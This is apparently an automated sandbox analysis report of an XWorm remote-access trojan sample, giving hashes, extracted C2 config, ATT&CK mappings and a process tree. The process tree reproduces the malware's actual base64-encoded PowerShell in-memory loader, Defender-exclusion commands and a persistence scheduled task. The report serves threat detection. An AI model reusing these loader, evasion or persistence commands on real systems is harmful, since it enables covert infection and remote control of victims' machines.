xworm | c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
29/03/2024, 01:14

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General

Target
c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe
Size 222KB
Sample240329-blyyfseb94
SHA256 c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404
MD5 9cddcd100936e1c7430748a2ed983443
SHA1 cd89db2358604243bd16a3ab917a5077282a167a
SHA512 975caa89aeaf097957d651dcb98917de14d9c214d22bd4930276411512d2bae85e45c73af775a138049fe06456623f64245b30c91c2c5f76d44600f781fffc37
SSDEEP 6144:xfL+oq+hnjsVl3dRQTLU8iGm+YzoPnneAHVBconyf4:xfL5njsVlNuc8i+Ywnb1Bcoyf4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

217.63.234.90:46789

Mutex

3bJtiYOLPFLaAVmg

Attributes

Install_directory
%Temp%
install_file
InstallerV3.0.5.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2756-56-0x0000000000400000-0x0000000000412000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2976	Registry
4480	Registry

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Registry"	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 224 set thread context of 2756	224	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3996	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2756	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1936	powershell.exe
1936	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
3284	powershell.exe
3284	powershell.exe
4444	powershell.exe
4444	powershell.exe
4892	powershell.exe
4892	powershell.exe
1808	powershell.exe
1808	powershell.exe
2756	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	2756	RegAsm.exe
Token: SeDebugPrivilege	3284	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	2756	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2756	RegAsm.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 3892	4116	c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe	85
PID 4116 wrote to memory of 3892	4116	c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe	85
PID 4116 wrote to memory of 3892	4116	c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe	85
PID 3892 wrote to memory of 1628	3892	wscript.exe	86
PID 3892 wrote to memory of 1628	3892	wscript.exe	86
PID 3892 wrote to memory of 1628	3892	wscript.exe	86
PID 1628 wrote to memory of 1936	1628	cmd.exe	88
PID 1628 wrote to memory of 1936	1628	cmd.exe	88
PID 1628 wrote to memory of 1936	1628	cmd.exe	88
PID 1628 wrote to memory of 224	1628	cmd.exe	89
PID 1628 wrote to memory of 224	1628	cmd.exe	89
PID 1628 wrote to memory of 224	1628	cmd.exe	89
PID 224 wrote to memory of 2924	224	powershell.exe	95
PID 224 wrote to memory of 2924	224	powershell.exe	95
PID 224 wrote to memory of 2924	224	powershell.exe	95
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 224 wrote to memory of 2756	224	powershell.exe	96
PID 2756 wrote to memory of 3284	2756	RegAsm.exe	99
PID 2756 wrote to memory of 3284	2756	RegAsm.exe	99
PID 2756 wrote to memory of 3284	2756	RegAsm.exe	99
PID 2756 wrote to memory of 4444	2756	RegAsm.exe	101
PID 2756 wrote to memory of 4444	2756	RegAsm.exe	101
PID 2756 wrote to memory of 4444	2756	RegAsm.exe	101
PID 2756 wrote to memory of 4892	2756	RegAsm.exe	103
PID 2756 wrote to memory of 4892	2756	RegAsm.exe	103
PID 2756 wrote to memory of 4892	2756	RegAsm.exe	103
PID 2756 wrote to memory of 1808	2756	RegAsm.exe	105
PID 2756 wrote to memory of 1808	2756	RegAsm.exe	105
PID 2756 wrote to memory of 1808	2756	RegAsm.exe	105
PID 2756 wrote to memory of 3996	2756	RegAsm.exe	107
PID 2756 wrote to memory of 3996	2756	RegAsm.exe	107
PID 2756 wrote to memory of 3996	2756	RegAsm.exe	107

C:\Users\Admin\AppData\Local\Temp\c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe
"C:\Users\Admin\AppData\Local\Temp\c7052af714acb8631274b069d8fb99547cd495dc15b5cf4e4bce28a2a7d6c404.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJSZWdpc3RyeS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Registry.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Registry.ps1"
      4⤵
      Drops startup file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:224
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:2924
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2756
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3284
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegAsm.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4444
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Registry'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4892
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Registry'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Registry" /tr "C:\Users\Admin\AppData\Local\Temp\Registry"
        6⤵
        Creates scheduled task(s)
        
        PID:3996

C:\Users\Admin\AppData\Local\Temp\Registry
C:\Users\Admin\AppData\Local\Temp\Registry
1⤵
- Executes dropped EXE
PID:2976

C:\Users\Admin\AppData\Local\Temp\Registry
C:\Users\Admin\AppData\Local\Temp\Registry
1⤵
- Executes dropped EXE
PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Registry.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Registry.log
Size 42B
SHA256 d8988d672d6915b46946b28c06ad8066c50041f6152a91d37ffa5cf129cc146b
MD5 84cfdb4b995b1dbf543b26b86c863adc
SHA1 d2f47764908bf30036cf8248b9ff5541e2711fa2
SHA512 485f0ed45e13f00a93762cbf15b4b8f996553baa021152fae5aba051e3736bcd3ca8f4328f0e6d9e3e1f910c96c4a9ae055331123ee08e3c2ce3a99ac2e177ce
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
MD5 SHA1 SHA512

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